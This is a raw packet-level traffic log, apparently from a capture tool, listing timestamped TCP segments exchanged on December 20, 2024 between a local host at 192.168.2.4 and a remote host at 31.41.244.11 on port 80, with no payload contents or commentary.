Dec 20, 2024 07:12:28.239624023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.240608931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.240673065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.240735054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.240791082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.241799116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.241969109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.242019892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.242985010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.243122101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.243175030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.244329929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.244364977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.244398117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.244426966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.245377064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.245430946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.245495081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.245690107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.246562004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.246620893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.246673107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.246752024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.247749090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.247802019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.247808933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.247915030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.248915911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.248975992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.249031067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.249105930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.250096083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.250149965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.250277996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.250329018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.251288891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.251343012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.251409054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.251456022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.252551079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.252584934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.252619982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.252648115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.253663063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.253715992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.253792048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.253842115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.254848957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.254899979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.254964113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.255017996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.256026030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.256087065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.256150961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.256206989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.257214069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.257282972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.257287025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.257355928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.258397102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.258505106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.258555889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.259583950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.259701014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.259749889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.260806084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.260855913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.260917902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.260963917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.261998892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.262057066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.262327909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.262384892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.263144016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.263278961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.393526077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.393579960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.393614054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.393680096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.394117117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.394174099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.394249916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.394299030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.395221949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.395282030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.395670891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.395797968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.395850897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.396881104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.396933079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.396984100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.397032022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.398053885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.398129940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.398175001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.398236990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.399266005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.399338961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.399394989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.399449110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.400437117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.400621891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.400686979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.401604891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.401694059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.401751041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.402784109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.403136015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.403183937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.403990030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.404048920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.404113054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.404167891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.405216932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.405268908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.405270100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.405318022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.406385899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.406514883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.406563044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.407538891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.407591105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.407640934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.408716917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.408827066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.408878088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.409888029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.410007000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.410056114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.411076069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.411137104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.411195993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.412261009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.412311077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.412374973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.413455009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.413506985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.413507938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.413552999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.414644957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.415113926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.415164948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.415821075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.415961981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.416019917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.417085886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.417136908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.417136908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.417525053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.418235064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.418283939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.418303967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.418351889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.419383049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.419435024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.419512033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.419560909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.420552015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.420593977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.420656919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.420769930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.421773911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.421843052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.421897888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.422940969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.423070908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.423130035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.424110889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.424753904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.424822092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.424875021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.425298929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.425354004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.425478935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.426500082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.426562071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.426609993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.427671909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.427701950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.427725077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.427726984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.427799940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.428842068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.428909063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.428982973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.429243088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.430032969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.430258989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.430311918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.431209087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.431263924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.431510925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.432492018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.432527065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.432549953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.432590008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.433623075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.433675051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.433707952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.433732986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.434798002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.434860945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.434899092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.434998035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.436008930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.436075926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.436083078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.436122894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.437139034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.437238932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.437262058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.437310934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.438324928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.438414097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.438465118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.439543962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.439594984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.439637899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.439665079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.440728903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.440783978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.440819025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.440830946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.441890955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.441950083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.442013979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.442399979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.443057060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.443108082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.443187952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.443305969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.444263935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.444377899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.444411039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.444427967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.445440054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.445508003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.445555925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.445616007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.446661949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.446718931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.446727037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.446778059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.447854042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.447920084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.447962046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.448235035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.448977947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.449040890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.449090004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.449234962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.450181007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.450256109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.450310946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.451375008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.451443911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.451484919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.451540947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.452564955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.452625036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.452687979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.453481913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.453743935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.453799009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.453850985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.453902006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.454926968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.455028057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.455065966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.455090046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.585668087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.585736036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.585809946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.585903883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.586216927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.586268902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.586273909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.586319923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.587413073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.587466955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.587518930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.587567091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.588579893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.588639975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.588720083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.589365005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.589787006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.589847088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.589910984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.589967012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.590958118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.591013908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.591075897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.591129065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.592164040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.592216969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.592307091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.592396975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.593312979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.593373060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.593435049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.593487978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.594527006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.594588041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.594715118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.594809055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.595710993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.595768929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.595832109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.595885038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.596905947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.596960068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.597116947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.597177029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.598104954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.598159075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.598164082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.598211050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.599247932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.599303007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.599387884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.599438906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.600425959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.600478888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.600492954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.600537062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.601613998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.601677895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.601757050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.601824999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.602866888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.602932930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.602960110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.602981091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.604010105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.604082108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.604147911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.604201078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.605165005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.605216980 CET	49801	80	192.168.2.4	31.41.244.11
